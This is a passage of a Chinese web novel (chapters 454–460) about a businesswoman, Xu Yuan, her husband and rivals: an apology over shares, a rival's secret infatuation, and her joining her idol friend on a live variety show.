他就说为什么玩那个网游走哪儿都遇到大BOSS拦路不让他做日常,每每爆出来的双倍都是最不值钱的几百钱铜币。 日! 许愿看热闹看到现在了,笑的脸都痛了。 她揉了把脸收到了段星河发的信息,人已经在楼下等着了,他们今天需要出去给上面某些人报备些东西。 许愿跟盛景炎说了句,盛景炎应了一声离开办公室。 韩城还在想着怎么说服黎云笙把自己账号BUG解了结果助理敲了门,提醒了一句,“盛总,许总的快递到了,不过有人不小心拿错了所以拆箱了。” 盛景炎淡淡的嗯了声,助理已经抱着个纸箱子进来,里面是几个开封的快递箱,助理把东西放到地上这才出去。 韩城浪的很,就这么轻飘飘扫一眼然后眼神都不对了。 “你跟许愿买这个啊……”他扫一眼就知道都是些什么玩意儿。 他眼神奇怪的瞧着盛景炎,实在是没忍住朝着他下三路看过去,“这你怎么解释。” 到底是买了什么东西能让韩城眼神奇怪成这样? 盛景炎低头看了眼。 毛茸茸的兔耳朵猫耳朵…… 盛景炎,“……”这似乎是没什么可解释的,他确实是喜欢那些,但问题是许愿也很喜欢,而且这好像还是许愿买的,最近他也没买奇奇怪怪的东西。 韩城和黎云笙看盛景炎的眼神宛若在看一个禽兽。 盛景炎对上两人的目光,似是有那么几分疲惫,“我说只是夫妻情趣你们相信吗。” 韩城表情十分的一言难尽,“你就不能不疯吗,我知道像你这样单身久了的人容易有什么心理疾病,我出钱,啊呸,我出钱给你请最好的心理医生,咱们有病救治别祸害人小姑娘。” 黎云笙没表态,但显然也是支持韩城叭叭的这话。 盛景炎眼角一抽瞥了黎云笙一眼:“你也认为韩城说的对?” “温栩栩没买过?” 黎云笙轻咳一声,那倒是买过的,他开口为盛景炎解释:“确实是夫妻情趣。” 韩城震惊的远离两人。 “你们有病吧!” 黎云笙和盛景炎嗤笑一声扫向他:“单身狗你懂什么。” 韩城收到数点伤害,又悲愤,但是确实是个单身狗只能哭丧着脸继续玩自己非到极致的游戏。 韩城冷不丁的躲到角落搜了下这些东西,知道确实是夫妻情趣以后韩城干笑两声,“哈哈……没想到你还挺‘性’福。” “其实我觉得如果我爷爷给我找个许愿这样的我可能也不会逃婚,给我个这样的我能十天半月不出门从此君王不早朝当个昏君我也乐意。”韩城就安生不了一会,十分羡慕盛景炎身边有这么个活宝。 盛景炎淡淡道:“她看不上你。” 韩城:“……”说话就说话,人身攻击算几个意思? 第455章 道歉 许愿和段星河已经准备好了资料打开车门要上车,结果一人挤到车门边跳下来,那人双眼狭长像只狐狸,看到许愿才缓了缓脸色。 是盛明宇。 段星河抱着手臂想抬腿踹盛明宇,“谁让你上许愿的车了。” 盛明宇整个人已经没什么精气神了,似乎是跟冯菀菀结婚耗费了自己所有的心力。 往日的盛明宇在圈内浪荡不羁容光焕发,任谁也不能打击到他,可自从跟冯菀菀私奔后知道自己害了盛世就变了。 他知道自己不是个好东西,但也没想过害这么多的人。 而且他现在手里真的是什么东西都没了,股份被许愿卖了,盛衡也不肯再给他股份,只给了他一张卡,还是每个月有限额的卡。 许愿看到他这副模样只是眸光微微闪烁。 “你来做什么。” “我来道歉。”盛明宇脸色有些难看,但道歉的态度却是认真的。 许愿垂眸:“段星河,你等我一段时间,我跟他应该要谈点东西。” 段星河哦了一声,百无聊赖的靠在车边冲她摆了摆手让她随意。 许愿这才跟盛明宇重新回了盛世找了个空的会议室,给自己的助理去了电话,五分钟后助理送下来一份文件。 等会议室门重新关上后,许愿才抬眸看向面前的男人。 “你打算怎么道歉。” 盛明宇舔了舔唇瓣,开口:“我知道我说的有些话你可能觉得我是编的……但我确实感到抱歉。” “股份的事我想了很久,确实卖给盛华是最好的结果,之前我死缠烂打只是觉得心有不甘,觉得自己后半辈子没有了倚仗,但其实走到这一步算是我咎由自取。” “我以前觉得我不比盛景炎差,我觉得我比盛景炎要优秀,但事实却是他处处都能压我一头。” “当我带领盛世踟蹰不前停留在原地时,接手盛世的盛景炎已经带领盛世到达立刻新高度,是我不如他。” “选爱人也是,我一时被突然来的情爱迷了眼,我以为那是真爱,却害的盛世险些出事,还是你和盛景炎救了盛世。” “我曾经追求过你,却也抱着其它心思,我想得到你也仅仅是看中你能带来的利益。” “这样的我凭什么配得上你。” “股份也是,是我害了沈氏的员工,我的那点股份也确实该卖掉给他们发工资……抱歉这段时间给你和盛景炎添了大麻烦。” 他的态度的确足够诚恳,不再像是前段时间逼着她要股份的模样,像是真的想通了。 许愿看着面前的人,知道他是真的想通了方才点了下头。 “桌上的那份文件看一下。” 盛明宇立刻拿起文件翻看,待看清楚这是自己海外公司的股份后整个人都怔在原地。 上面是姜明钰要归还他的股份。 姜明钰好不容易通过冯菀菀拿到这股份,为什么会突然放弃。 他身体都在颤抖,看向许愿时带着不敢置信。 “我跟姜明钰谈过了,你这个海外公司只能算是小公司,跟盛家其实没多少联系,他同意把这些股份转移回来,他要针对的是盛家不是这样的小公司。” 许愿淡淡开口:“看在你真的知道错了的份儿上,这部分股份可以还给你,倒也不算是真的一点机会都没有了。” 坦白来讲许愿对盛家兄弟有恶意是因为他们对盛景炎造成过伤害。 但盛明宇是个十足的蠢货,他对盛景炎造成的伤害几乎忽略,没本事没前途只有花花肠子。 其实这人才是真可怜,被盛衡那样的畜生养在身边才会被养废,养成跟盛衡一样的性子,但好在这人没有彻底长歪,还有点基本的三观。 知道当初被他伤过感情的女人自杀跳楼后联系了对方家人给了补偿,对家人道歉并对对方的哥哥出具了谅解书。 他爱玩,但没想过闹出人命。 冯菀菀替他挡了一刀,他心里纵然不喜冯菀菀却也负起责任,就像冯菀菀说的,她真的没有可去的地方了,盛明宇这里算是她最后的落脚地。 而盛明宇还算是个男人,选择跟冯菀菀订婚。 他最近的所作所为许愿都看在眼里,她愿意给盛明宇最后一个机会。 “收下这份文件,管理好你的海外公司,以后好好过自己的生活不要再发疯了。” 许愿垂眸说道:“这家海外公司最近新推出的合作案你们可以联络下当地海关部门,会有新收获。” 盛明宇眼睛都亮起来。 他知道这是许愿给了自己机会,许愿提到的联络海关部门一定是知道有人会寻求合作,这都是他的机遇了。 他惶恐的说着谢谢。 “我跟你来这里只是想再提点你几句。”许愿道,“有时候你该褪去盛家少爷的光环不要被周围人左右,看看清楚自己现在的实力处于什么阶段。” “你要想好自己真正要什么,也看清楚你认为对你好的人是不是真的对你好。”许愿这话说的是盛衡和盛景炎。 盛衡对他好吗?她却觉得盛衡是想把盛明宇彻底养废,盛衡把盛世给盛明宇其实最终真正做主的还是盛衡而不是盛明宇。 反倒是盛景炎时不时的给他添堵,可到底是添堵还是在提点?真是添堵就不会在他投资失败后说那么多了。 估计添堵是有的,但更多的是在给他上课,大概也不希望他真被养成废人。 许愿意有所指,“盛衡和盛景炎以及其他人之间的争斗最好不要掺进去,更不要一头热的去投资把所有钱都砸进去,总要给自己留些余地,这样无论以后发生任何事还有从头再来的机会,你能明白吧。” 盛明宇怔住愣了许久,这种话很少有人同他说,以前他母亲见到他只会抓着他不停在他耳边灌输争夺家产的思想,让他去哄盛衡去对付盛景炎还一次又一次告诉他盛家家产一定是他的。 久而久之他真觉得他是能够继承盛家家产的。 可这次他才知道自己跟盛景炎之间的差距。 第456章 他们两个祖宗 盛明宇想着,他颓丧的回到家却被盛衡追赶着怒骂,他是盛衡最疼爱的儿子,但盛衡没有问一句在外有没有受委屈,接下来想怎么做,除了辱骂就是辱骂。 他知道自己做错了事,想尽力弥补,但盛衡并不给他任何机会。 那一刻,他十分不解自己在父亲眼里是什么? 他是盛家少爷,因为够有钱所以玩过不少女人,他一向瞧不起那些为了钱出卖身体的女人,可到最后他却觉得他也没什么了不起的,起码她们得到了钱,他又得到了什么呢? 而他的母亲似乎也是那种人,否则他怎么会是盛家的私生子,他不就是他母亲费尽心思勾着父亲生下他后还哄骗父亲把他接进盛家吗? 他只是个私生子,又凭什么认为盛衡能真的真心待他? 他们不过在床上睡了一觉就有了她这个产出,可谁真的在乎他呢? 盛明宇望着面前的许愿,一时之间真有些读不懂许愿了。 他是见识过许愿牙尖嘴却又光芒四射的模样,他以往追求许愿时其实对她藏着几分喜欢的,就像是喜欢许愿她够真实跟别人完全不同,像是一滩烂费劲心力追求那点光明。 可如今突然发现她不是不仅是够真实,她是活的太清醒。 这个季节的风有些凉,风吹过她四散的发,她的脸很白,在这样微弱的阳光下像是一枚散发薄弱微光的莹莹白玉。他望着她,却像是瞧见一棵遗世青竹在冷风中站直着瘦弱的身躯。 他的心跳在此刻都不受控制的加快,尽管他知道自己不配,但还是控制不住的越来越喜欢许愿。 就像那些网民说的,了解过许愿后谁又能不爱她呢。 爱她的优秀爱她的洒脱爱她的果敢爱她的坚毅爱她的保有底线最后的善良。 是的,善良。 他心里很清楚,如果不是许愿留情,他拿不回海外股份,甚至还要被许愿针对。 可是她没有,她甚至给他带来最后一丝生机。 盛明宇呼了口气有几分无措的搓了把手,浪荡惯了的二世祖有些紧张道,“我记住了。”说着耳朵都有些红。 许愿弯起眼睛笑笑,“好,那我就先回去了,我跟段星河那边还有工作要忙。” 其实许愿对私生子的敌意并不大,她恶心的是那些婚内出轨造出私生子的臭男人和那些知三当三的女人。 私生子其实很无辜,因为父母做的错事所以导致她们降生到这世界就是错的,但他们又能有什么选择?如果有的选谁希望自己出生就是私生子? 私生子在这个世界上很可怜,一旦被曝光身份就会被万人唾弃,谁都能来踩上一脚的可怜虫。 她不是未私生子洗白,只是觉得这世界上任何人都没有选择出身的机会,如果有机会,他们不会做出这样的选择。 就像当初的许宁,许愿从未针对她,是许宁一次次设计她陷害她才使得她再不留情。 当然,如果拎得清知道自己是私生子不去争夺家产的这种才是人间清醒,像盛明宇这种显然被人养歪了却还有得救的,她不介意提点一句。 盛明宇放下心来却傻乐起来,任谁看到此刻的盛明宇能想象得到这人是之前在花丛中到处风流的盛家少爷。 许愿回去后上了车,车内却散发着一股子麻辣烫的味儿还没散,没等许愿问,段星河就幽幽的看着她老实交代,“我看你进去估计要谈上一会儿就订了几份麻辣烫,我请你那位邢队和他们的小弟都吃过了。” 许愿嘴角抽搐,“你就请他们吃麻辣烫?” 段星河拍座椅拍的啪啪响,“什么叫就请他们吃麻辣烫?华庭的麻辣烫,那可是师傅熬出来的大骨汤又加了华庭最新鲜的食材让人加急送来的,能一样吗!” 对段星河来说,华庭煮个清汤小面那都是好吃的,恨不能自己变身美食家夸个遍。 按理说华庭也不是他家开的也不知是哪儿来的优越感,其实段星河平日里没事就喜欢吃点市面的垃圾食品,炸鸡可乐汉堡麻辣烫烤串他什么不吃啊?但就是怕有些人知道嘀嘀咕咕说他爱吃垃圾食品。 现在许愿这反应他就有点不爽。 说白了就是中二病。 “那你就没给我留一份?”许愿抱肩问他。 段星河一听,支棱起来。 “那我再给你叫一份?你喜欢吃什么,华庭那边现炸出来的小酥丸子味道很不错的,是不是啊邢队。” 段星河扭头跟刑从景交流起美食心得。 “鱼糕味道也不错。”刑从景想了下回应。 许愿:“?” 他们还交流起来了? “你是不是忘了我们要去开个会议汇报下最近的进度,再这么拖下去要到几点了。” 段星河百无聊赖的抱着手臂整个人瘫进椅子里面。 “那我不管,我是祖宗他们要供着我。” 他一副天大地大老子最大的模样把姜栖晚都气笑了。 刑从景开口这次竟然是顺着段星河的意思说的。 “晚点去也没事,那群人整天也闲的没事干,多等会儿。”刑从景见段星河那祖宗样又补充一句:“你们确实是祖宗。” 谢谢,这话听着不像夸奖像骂人。 许愿轻啧一声:“有时间我和盛景炎去店里吃,跟你们一起吃有什么意思。” 段星河:“?” 怎么还人身攻击了! 车子一路开到A市顶级研究所,光是进入就要经过层层查验,不过看到来人是段星河和许愿众人也是极为恭敬的。 到了会议室,许愿跟那些领导人物寒暄几句,只有段星河半死不活的站在一旁一会儿冒出来一句冷场的话,许愿面上表情都僵住了很想踹他一脚,但人太多还是忍了。 这次开会就是询问药物和智能系统的整体进度,药物已经到收尾阶段进行最后测试,智能系统还需要再精进完善。 了解了进度众位领导还是很满意的,夸奖了几句才散会,生怕段星河再冷不丁憋出来一句难听话来。 第457章 感情这东西不分先来后到 “你总针对他们干什么,他们对你算恭敬了。”出来后上了车许愿哭笑不得问他。 “我要他们恭敬有什么用?” 段星河嗤笑一声:“之前盛世没有接受我的研究室前那群老东西没少在资金上卡着我,嘴里张口闭口说没钱,谁信啊。” “这就好比我是古代武将要上战场了,这群人面上对我恭恭敬敬最后粮草全给我扣完了给了我三瓜俩枣让我上战场,纯属有病。那古代缺钱了怎么做?抄家啊杀贪官啊,一抄一个准,看谁不顺眼抄谁的,没一个干净的全都能把那钱拿来让我做研究。” 这话可真是……又胆大又离谱。 “这话以后少说点。”许愿知道他就是这个性子,但还是没忍住提醒了句。 “我又没在外面说。”段星河嗤笑一声,一点没把这个当回事。 回到盛世,段星河又被许愿塞进研究所了。 路上许愿就给盛景炎去了短信,知道黎云笙和韩城还没走就给华庭那边打电话也要了四人份的麻辣烫。 啧,这天气就是要吃这口。 她没注意到的是不远处有人一直远远跟随,刑从景敏锐的差距到不对,许愿听闻轻笑:“不是傅长海就是姜家人,再离谱点还是莱蒂斯,很正常的事,他们爱跟就让他们跟,总归暂时伤不到我。” 看她如此豁达,刑从景也放下心来。 华庭的外卖刚巧送来,她拎着外卖进了电梯。 …… A市 龙景苑别墅区。 姜明珠沉默的翻看私家侦探收集来的跟许愿有关的资料。 学历、智商、胆识、每一样都不输给她,唯一可能输给她的大概就是家室。 不。 她的家室也不输她,因为许愿的生母是苏青莲,那个曾经让整个圈层震撼的女人。 姜明珠眸光闪烁,看到陆斯年与许愿早在少年时期就相识,是真正的青梅竹马两小无猜的感情。 怪不得许愿喊他斯年哥哥喊的那么自然动听,怪不得陆斯年知道她出事后国外的合作都不顾了就飞回国甚至做主将盛华搬回国落在A市。 是早就想好了要来到A市未许愿撑场子了。 明明她才是陆斯年的未婚妻,却好像在圈内查无此人,没有人知道她的存在更不清楚她才是陆斯年的官配,倒是有人提起陆斯年也是许愿的追求者之一。 姜明珠长指摩挲着桌面上的照片。 那张照片是许愿参加晚宴时的一张图,她分明跟明星站在一起,却将明星衬托的毫无闪光点,整个画面仿佛只有她在发光。 果然美艳……动人。 不怪那些人被许愿迷得脑子都不清楚了。 姜明珠收好资料,将自己最近实地收集的资料整理好去了姜明钰的办公室。 沈氏没能收购成功,姜家收购了一家不小于沈氏的企业办公暂时扎根。 姜明钰去开会了没在办公室,姜明烨倒是乐颠颠的追着综艺,是一档选秀综艺,仗着姜明钰不在投屏在他办公室的幕布上乐颠颠的看着。 画面C位的女人五官立体带着明显的妩媚动人之意,如果许愿是清冷感居多,那这人就是更勾人。 是温栩栩。 纵然姜明珠不关注娱乐圈但是也偶尔看一看微博,知道温栩栩是最近娱乐圈爆红的女爱豆,不过她没想到自己二哥也会迷上温栩栩。 “大哥在开会?” “嗯,估计一会儿就回来了。” 姜明烨吊儿郎当的靠在沙发上看节目,姜明珠走上前,却一眼看到大哥办公桌面放置着许愿的照片。 各个角度的,甚至还有盛景炎发到微博上许愿的背影照。 姜明珠心下一沉。 等姜明钰回来就对上妹妹发白的脸。 “大哥,你喜欢许愿?” 直截了当,根本不拐弯。 “你看出来了。” 姜明钰将文件放置到桌案上,将她手掌还捧着的一叠相片小心翼翼的拿过来放到一早准备好的密封箱子里,这才开口:“会喜欢她不是很正常的事?” “你怎么能喜欢她?哥你明知道她跟陆斯年不清不楚,陆斯年是我未婚夫……” 姜明钰打断姜明珠的话。 “明珠,这件事是你想多了。” “许愿没有时间跟陆斯年开展更多的感情,她要处理的事情太多,她跟盛景炎的感情是真的,不会去跟你抢陆斯年。” 姜明珠听不得姜明钰解释的这些,她摇了下头:“大哥,你就直接告诉我还会不会继续联手傅氏对付盛世,如果你现在为了许愿留情转移目标我也不会怪你,我会自己继续对准盛世。” 姜明钰眸光微闪。 “说好的事我不会反悔。” 姜明烨的心放下来一些:“那大哥你好好休息,有机会我会多介绍些圈内的千金,免得大哥你见谁都喜欢。” 她这是嘲的许愿。 说完姜明珠离开了。 姜明烨全程都没插嘴,等姜明珠离开才震惊道:“哥,明珠在发什么疯呢?” “她担心我会跟许愿在一起,为了许愿手下留情。”姜明钰叹了口气,他没那么意气用事。 “开什么玩笑!许愿也看不上大哥你啊!”姜明烨不知道姜明钰心里怎么想,扯着嗓门就喊了这么一句,惹得姜明钰一脚踹过去。 “快滚!” 姜明烨实在是委屈,说实话还不乐意听了。 人许愿跟盛景炎感情好着呢,你们谁也插不进去,就是事实,不高兴也是事实。 姜明烨挨了一脚捂着屁股走了,姜明钰从新打开密封盒子,摩挲了下手指才取出一张照片,照片中的许愿带着笑意,向着阳光,整个人身上像是渡上一层淡淡的微光,温暖却又漂亮。 这是盛景炎拍摄的照片。 他眸光深了些许,指尖抚摸过相片上许愿的脸。 她对姜明珠说的那些不是在撒谎。 他确实不会对盛世留情,因为他看上了许愿,他想要搞垮盛世然后抢到许愿。 虽然傅京礼对付盛世多半也是为了许愿,但……没人说他这个后来的就不能对她动心思。 感情这东西什么时候也不会分先来后到这一说。 第458章 黎少还挺见不得人的 盛明宇心道傅京礼当初瞎了眼为了个许宁抛弃许愿,本就不配继续站在许愿身边,所以他一定会角逐竞争。 …… 盛世。 姜家兄妹因为许愿争执一番,许愿却全程不知。 此刻她正拎着华庭那边才送来的麻辣烫外卖进了盛景炎的办公室。 韩城还在为他非到掉头的游戏愁眉苦脸,实验多次都抽不到卡整个人有点推搡,嘴里骂了黎云笙千万次,黎云笙却面无表情继续跟盛景炎谈着跟工作有关的事,毫不在意摆烂的韩城。 最先闻到麻辣烫香味儿的自然是韩城这个闲人。 直接从沙发上跳下来冲到许愿身边。 “你买了麻辣烫?这味儿,我喜欢!” 韩城是真好哄,闻见香味儿那点委屈都没了。 “你韩家少爷还喜欢吃这个?”许愿忍不住调侃了一句,不等韩城回答,盛景炎就已经接了话茬。 “他从小就喜欢吃奇奇怪怪的东西,小学时期还差点被人用一串臭豆腐拐走,初中逃课去新开的点心店铺买点心,高中上课在教室煮自热火锅,蠢东西掩耳盗铃以为自己鼻子堵住别人就闻不到了最后罚了三千字检讨讲台上一个字一个字的念给全校师生听,结果韩城解围来了波自热火锅的安利,还来了句好吃爱吃,惹得韩老爷子差点被他这犟种气到医院。” 看一看韩越,谁也没想到韩家二少会长成这样,整个一反骨仔。 一百五十斤的重量一百四十斤的反骨,剩下的全是水。 “能不提我的黑历史吗。”韩城耷拉着脑袋,难得这哥觉得丢人了。 盛景炎在文件上签了名字才开口:“你这次逃婚的事才是真正的黑历史吧。” 韩城不吱声了,撇撇嘴对许愿说:“是不是也有我一份,我看你买了四份。” 许愿递过去一份:“不知道你们吃不吃辣,就让华庭那边把辣油另装了。” 韩城接过闷声吃麻辣烫。 要不说他心大了,吃了两口麻辣烫整个人又支棱起来半点没见刚才的颓丧样子了。 黎云笙对这个也没抵触,毕竟是华庭的厨师做的,干净卫生味道也好,这里也没有外人,没人知道他们在盛景炎办公室吃麻辣烫。 吃过这下午茶,许愿接到了一通电话。 是陌生号码打来的。 对面见接听了还有点诧异,开口询问:“请问是许愿老师吗?” “是我。” 对面几个人啊啊啊的叫了几声,隐约还能听到那头的人嘀咕:“真的是许愿老师,真的是她!” 许愿也不知道这通电话打来干什么的,问了句:“请问找我有什么事?” “老师,我们是《明星勇敢冲》节目组的。” 许愿:“?” 节目组的为什么会打给她?她又不是艺人,打错了吧。 “打错了?” “不不不,许老师我们就是找您的。”那边的好像是负责人,小心翼翼的说:“是这样的,我们节目组拟定好临时嘉宾后发现少了一名嘉宾,我们已经邀请了温栩栩老师,听说温栩栩老师跟您是好友所以才打电话联系您想问问您有没有时间以温栩栩老师好友的身份一起参与录制?” 听到对面提起温栩栩许愿顿了下瞥了眼黎云笙。 “你们怎么知道我们是好友的,我记得这件事并没有公开。” 对方笑的有点尴尬:“圈内有人想对付温栩栩老师,结果查了温栩栩老师以前的事查到您身上了。” 所以温栩栩和许愿关系匪浅的事情就传开了。 甚至还有人提这俩人是不是一对儿?许愿为了温栩栩的前途委曲求全跟盛景炎在一起,这类的小故事还挺多,如果许愿看到估计会乐,但黎云笙看到肯定是要恼的。 不过,听到对方提及有人想对付温栩栩,许愿眸光闪了闪。 她觉得自己应该去参加这次的节目,好让这圈子里的魑魅魍魉知道温栩栩是她罩着的,不是什么人都能欺负的。 “好,我答应了,节目什么时候开始录制。” 节目组负责人声音都抬高了,显然没想到许愿真的会答应。 “您真的答应啦!” 得到许愿肯定的回答,负责人心都快从嗓子眼跳出来了。 温栩栩和许愿感情是真的很好啊,许愿肯定是听到他说有人打算为难温栩栩才站出来的,我靠就冲这关系谁敢对付温栩栩啊! 她可是许愿的好友,那可是许愿! 凭借自己晋升资本的许愿,谁敢惹温栩栩那就是惹了许愿,不想在圈子里混才会继续招惹温栩栩吧。 这可比有些明星找靠山找金主好得多,不会影响对方星途却还能震慑一波,偏偏还能嗑一波姐妹情,简直完美。 “我这就把流程表发给您,您只需要录制三天就够了,辛苦许愿老师等一下加上我微信好友了。” 许愿应下了。 负责人整个人还好像在做梦一样。 等许愿挂断电话盛景炎挑了下眉看过来:“有人邀请你去参加综艺?” 许愿走过去坐在他身边点头,开口前意味深长的看了眼黎云笙:“是栩栩参加的一档明星冒险综艺说是缺一个素人,刚巧听说我是栩栩的好友所以才给我打电话问一问有没有时间参加。” 黎云笙唇角跟着抽了抽:“你没拒绝?” 许愿抱肩:“我为什么要拒绝?” “负责人都说了,是有人打算对付栩栩,结果查到栩栩跟我有点关系才不敢动手的,如果我拒绝了他们的邀约你信不信这件事会传出去说栩栩和我没有关系,指不定背地里有人给栩栩使绊子,所以我答应邀约也是为了给栩栩撑腰。” 黎云笙嗤笑:“我不能给她撑腰?还需要你来?” “那确实是需要我来。” 许愿摆了摆手:“我跟栩栩是好姐妹,一起长大的交情,如果那人换做是你,栩栩就要被群嘲抱大腿找金主了,不然你以为栩栩为什么要隐婚,跟你见个面都偷偷躲躲藏藏的,说起来的确是黎少有点见不得人。” 黎云笙:“……” 他就说他跟许愿是做不成朋友的。 第459章 让你老婆离阿愿远一点 《明星勇敢冲》,就是温栩栩出道后受邀参加的一档综艺节目,她利用两天时间看了以前的几期节目。 这档综艺一直都挺火的,走的是丛林冒险风格,什么荒岛、漂流、求生这类的,听起来有点意思但其实因为请来的人都是明星,节目组也不敢玩太大的,所以明星嘉宾也只能玩出一点点进度。 但就这一点点进度也足够让节目有热度了。 温栩栩打小体力就好,对与往期节目给的那些任务她是真没放心上,不算难。 温栩栩是被请来的临时嘉宾,就录制这么一期,节目的常驻嘉宾一共三人,两男一女。 常驻男嘉宾林虎:三十三岁,一米七五,A大影视表演学院毕业,参演的电视剧很多,演技一直很不错,拿过视帝,路人缘很不错,在圈内算是一个喜剧形象角色,在圈内风评很好,是团内的老大哥。 常驻男嘉宾张家旭:二十八岁,身高一米七八,最初是男团爱豆出道,是个圈内较有名的男团爱豆,虽然比不上江恒但也算小火,属于二线艺人。 常驻女嘉宾黄莹莹:黄莹莹,二十六岁,一米六二,长相温婉可爱,曾经凭借《雪夜》这首歌火了一把,但因为后面发行的专辑都比较一般所以没有大火,但参加这档综艺后倒是重新火起来。 除了三名常驻嘉宾还有三名临时嘉宾,除了温栩栩还有两名。 而拍摄地点在一座荒岛上,是节目组特地找的录制地点。 温栩栩最近凭借女团选秀正爆红,节目组对她态度极好,不仅因为温栩栩最近爆红,还因为温栩栩的原因她们请到了许愿。 许愿首次出现在综艺里,单是用这点来宣传都不知道有多少爆点了。 温栩栩是许愿的好友,在节目组这里温栩栩已经间接的升咖位了,别说他们节目组惹不起温栩栩,就是圈子里其他人也惹不起温栩栩啊。 上面有人拿就是不一样的。 温栩栩到的时候常驻嘉宾们已经到了,温栩栩逆光站在门口,常驻嘉宾瞥见这道身影都笑吟吟的过去打招呼。 节目组没跟他们提过温栩栩有许愿这个靠山,圈子里也没几个人知道温栩栩许愿的关系,且许愿确实是在网络上传播过她的照片,但圈子里的人不会特意去搜她的图片,所以他们纵然听说过A市有个很有名的企业家叫许愿也绝不会往温栩栩好友身上想。 “栩栩那档节目是真的好看啊,那几个舞台我重复看了好几次,跳的是真好。” 老大哥林虎笑呵呵的夸奖。 张家旭和黄莹莹也是捡着客套话说,只是张家旭眼底藏着几分嫉恨。 都是选秀出道,他是擦边出道如今也只是二线艺人,温栩栩运气倒是好,C位出道,女团的大队长,现在真的是爱豆中的顶流,就是老狐狸林虎都要捧着她,她如何能不嫉妒。 温栩栩没注意张家旭的眼神,此刻姿态闲散的坐在沙发上,跟几人寒暄后说道:“抱歉啊,昨晚才录制了档节目有点累,我先眯会儿,节目开始录制后麻烦几位叫我一声。”打过招呼后就在休息了。 她就这么水灵灵的睡了,压根也不在乎镜头。 就是老队长林虎都愣了。 黄莹莹却想着,真的很有个性啊,要不说人能C位出道红成这样呢。 节目还没正式开始,节目组就已经开了直播,是的,这是边直播边拍的节目,等拍完后再进行更多后期剪辑上传到视频软件上。 此刻直播已经开启了,立刻有观众涌入。 【林虎老师好啊!虎虎老师还是一副老大哥模样哈哈哈哈】 【张家旭,旭旭看看妈妈!妈妈爱你!】 【莹莹女儿!快看镜头!笑!】 【等会儿?在沙发上闭眼休息的那人谁啊,怎么看着那么眼熟……是我看错了吗?】 【靠啊啊啊!温栩栩!温栩栩!】 弹幕有人刷出温栩栩的名字,直播间似乎在这一刻涌入了大批量温栩栩的粉丝,直播间都已经刷屏了。 正刷着呢,副导演脸上带着笑容说:“对,温栩栩老师就是我们这次邀请的临时嘉宾之一,欢迎温栩栩老师,温栩栩老师昨晚录制节目太累了,所以节目游戏活动正式开始前我们先不打扰温栩栩老师了,接下来是第二位临时嘉宾。” 第二位临时嘉宾杨晓帆,网剧出身的女网红,粉丝也不少。 等到第三位时副导演卖了个关子才继续:“第三位是一位素人,不过是我们温栩栩老师的朋友,所以今天她会跟温栩栩老师一起组队参与节目哦。她就是许愿!” 话音才落,温栩栩“腾”的睁开眼,眼睛都是亮晶晶的。 弹幕都在笑。 【谁啊谁啊,许愿是哪个啊,怎么我们栩栩才刚听见就睁眼了!】 【不会是什么仇人啊,不然怎么会这么敏感的?】 【狗日的节目组,肯定是仇人!】 弹幕没有任何人想到是A市那位许愿。 但所有人都看到许愿人才刚出现在镜头中,还不等他们看清楚许愿的脸呢,温栩栩已经冲了过去将人抱住,嘴里哼哼着喊着许愿的名字。 弹幕刷的更厉害了。 【我日,我想到是仇人都没想到是真好友,这感情绝了吧,才听见名字就扑过去了!】 【靠,温栩栩朋友好漂亮啊,和温栩栩站一起毫不逊色。】 【是不是哪个公司刚签的艺人?让我们栩栩带新人呢?】 弹幕刷什么的都有,竟然还有人默默地刷“磕到了”。 在看公务还关注直播的盛景炎默默的给黎云笙发了条信息。 【盛景炎】:能不能让你老婆离阿愿远一点,都是结了婚的女人。 黎云笙那边秒回,显然也不怎么高兴。 【黎云笙】:你厉害你别让许愿参加节目录制。 本来老婆不在家去录节目就烦,现在还加个讨人厌的许愿,啧,更烦了。 温栩栩才不管弹幕刷什么,此刻凑在许愿身边小声问:“阿愿你怎么也来了。” 第460章 阿愿会带她飞 “你们节目组的导演给我打了电话邀请我来的,说是还差一个临时嘉宾,因为你在,所以我就来了。” 许愿的话温栩栩听着忍不住笑出来。 两人贴贴还一起笑着,弹幕刷的节奏更快了。 【就是要看美女贴贴!】 同时观看直播的盛景炎和黎云笙忍不住“啧”了一声,不爽。 许愿这次才是真正出现在镜头前。 她穿的是一身黑色的运动棉服,一头长发被她绑到脑后露出光洁的额头和白皙美艳的面容,可就是这样简单的打扮仍是让人眼前一亮。 【所以美女都是只跟美女玩的吗?】 【栩栩你也没告诉妈妈你的小伙伴这么漂亮啊!】 网络上嗑两人CP的还不少,导演看着这一幕笑的合不拢嘴。 “好,今天我们还不会到荒岛上,需要各位先去城区赚取一定的资金,购买到荒岛的物资,每一组初始启动资金二十元。” 话音才落弹幕都是满屏幕的问号。 【导演越来越狗了啊,从最开始的五十元启动资金降到二十元,二十元还不够两个人一顿饭钱呢……】 弹幕都是刷这个的。 导演却充耳不闻,就是二十块,一点都不可能添。 因为许愿是温栩栩的好友所以默认两人一组,另外四人抽签决定,林虎和黄莹莹一组,张家旭和杨晓帆一组。 三组除了温栩栩和许愿这组都是愁容满面。 温栩栩却笑眯眯的挽着许愿的手腕摇晃着。 “我们阿愿会带飞我的。” 她说的斩钉截铁的,一点都不带慌的,让嗑两人姐妹情的人更多了。 节目组开车将三组送到了A市一个城区内,并给他们做了妆容改造,任谁也看不出这几个是大明星,都以为是探店的网红。 林虎笑呵呵的说:“我看那边招发传单的,这个还挺适合我,刚巧着天气也冷,我就发传单去。” 他的搭档黄莹莹看到旁边店需要弹钢琴的便自告奋勇去帮人弹钢琴并提前定好价格。 张家旭去应聘幼儿园临时的老师,杨晓帆挑挑拣拣好半天去做了车模。 反观许愿和温栩栩两人找了家网吧开了两台机子。 弹幕众人:“?” 这什么骚操作,不去工作来网吧干什么?总不能是来玩电脑的吧。 弹幕都在猜两人想干什么,就见许愿打开电脑后对身边的温栩栩道:“你随便玩点游戏或者看视频都可以。” 温栩栩对她百分之百的信赖:“好哦”。 弹幕都快疯了。 【温栩栩你在干嘛啊!她让你看视频玩游戏你就真的去了啊!你们要攒钱啊!救命我快看不下去了!】 【实在不行去厨房刷盘子,或者附近漫展缺COSer你们这么好看肯定能受邀参与进去,钱也不少,不能在网吧耗着啊!】 粉丝们在这里着急,温栩栩却慢悠悠的听歌玩游戏,玩的还是最近新推出的换装游戏。 【累了累了,你们就这么佛系吗。】 镜头也对着许愿电脑的,只见许愿接了几个任务后点开让人陌生的网页,然后手指飞速的在键盘上扫过几乎只能看到残影。 【讲道理,就是让我在键盘上随便乱摁都不会这么快的速度……她到底在干嘛啊?】 【那些数据我真是看不懂啊。】 【这是在编写代码吗?】 